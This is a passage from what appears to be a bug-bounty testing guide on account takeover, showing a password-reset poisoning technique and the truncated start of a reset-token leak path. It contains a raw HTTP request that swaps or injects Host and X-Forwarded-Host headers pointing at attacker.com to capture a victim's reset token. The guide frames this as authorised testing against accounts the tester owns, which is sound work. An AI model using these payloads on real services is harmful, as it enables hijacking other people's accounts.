hunt-ato

## 13. ATO — ACCOUNT TAKEOVER TAXONOMY > 9 distinct paths. ATO is a destination class, not a single bug — each path below is a primitive that becomes Critical only when you demonstrate takeover of a SECOND account (test account B) you do not control, from attacker A's session/IP/device. A path that only locks you out of your own account, or only works when you already hold the victim's password AND session, is not a standalone ATO. ### Path 1: Password Reset Poisoning (Host-Header) ```bash POST /forgot-password HTTP/1.1 Host: attacker.com # primary Host swap # OR keep real Host and add one of: X-Forwarded-Host: attacker.com X-Host: attacker.com X-Forwarded-Server: attacker.com # OR dual-Host smuggling: Host: target.com\r\nHost: attacker.com email=victimB@company.com ``` The reset mailer builds the link from the request Host header → link points to `attacker.com/reset?token=XXXX`. **Confirmation = OOB, not response-based:** point the header at a Burp Collaborator / unique DNS name and read the actual email (use a controlled victim B inbox you own for the test). If the token only appears in the email body that lands at your Collaborator host, you have proof. **False-positive killer:** many apps put `attacker.com` in the email but the actual link domain is server-pinned — read the email, do not infer from the reflected header. ### Path 2: Reset Token in Referer / Open-Redirect Leak ``` GET /reset-password?token=ABC123 → page loads third-party resource: <scrip...